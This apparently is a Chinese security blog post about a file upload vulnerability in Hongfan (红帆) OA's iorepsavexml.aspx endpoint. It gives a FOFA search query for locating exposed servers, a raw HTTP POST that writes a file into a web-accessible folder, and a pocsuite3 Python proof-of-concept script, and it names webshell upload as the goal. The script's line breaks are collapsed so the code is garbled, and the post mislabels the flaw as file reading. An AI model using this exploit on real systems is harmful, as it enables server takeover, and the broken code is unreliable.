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文章中涉及的漏洞均已修复，敏感信息均已做打码处理，文章仅做经验分享用途，切勿当真，未授权的攻击属于非法行为！文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任，一旦造成后果请自行负责

漏洞描述

红帆OA 存在任意文件读取漏洞，攻击者可通过此漏洞上传webshell木马，获取服务器控制权限

fofa语句

app="红帆-ioffice" || app="红帆-HFOffice"

poc加检测

POST /ioffice/prg/set/report/iorepsavexml.aspx?key=writefile&filename=check.txt&filepath=/upfiles/rep/pic/ HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ASP.NET_SessionId=lcluwirkrcqj42iuxfvafoq4
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 3512345678

上传成功后访问/ioffice/upfiles/rep/pic/check.txt查看有无成功写入

poc脚本

脚本用的pocsuite框架

# _*_ coding:utf-8 _*_
# @Time : 2023/12/24
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_strclass iorepsavexml(POCBase):pocDesc = '''红帆OA iorepsavexml.aspx文件上传漏洞'''author = '炼金术师诸葛亮'createDate = '2023-12-24'name = '红帆OA iorepsavexml.aspx文件上传漏洞'def _verify(self):result = {}url = self.url+ '/ioffice/prg/set/report/iorepsavexml.aspx?key=writefile&filename=check.txt&filepath=/upfiles/rep/pic/'check_path = self.url+ "/ioffice/upfiles/rep/pic/check.txt"headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",'Accept-Encoding': 'gzip, deflate','Cache-Control': 'max-age=0','Connection': 'close',"Cookie": "ASP.NET_SessionId=lcluwirkrcqj42iuxfvafoq4","Content-Type": "application/x-www-form-urlencoded"}try:data = "123456789"response = requests.post(url, headers=headers, data=data)if response.status_code == 200:check_response = requests.get(check_path, headers=headers, verify=False)if check_response.status_code == 200 and '123456789' in check_response.text:result['VerifyInfo'] = {}return self.parse_output(result)except Exception as e:passregister_poc(iorepsavexml)

脚本利用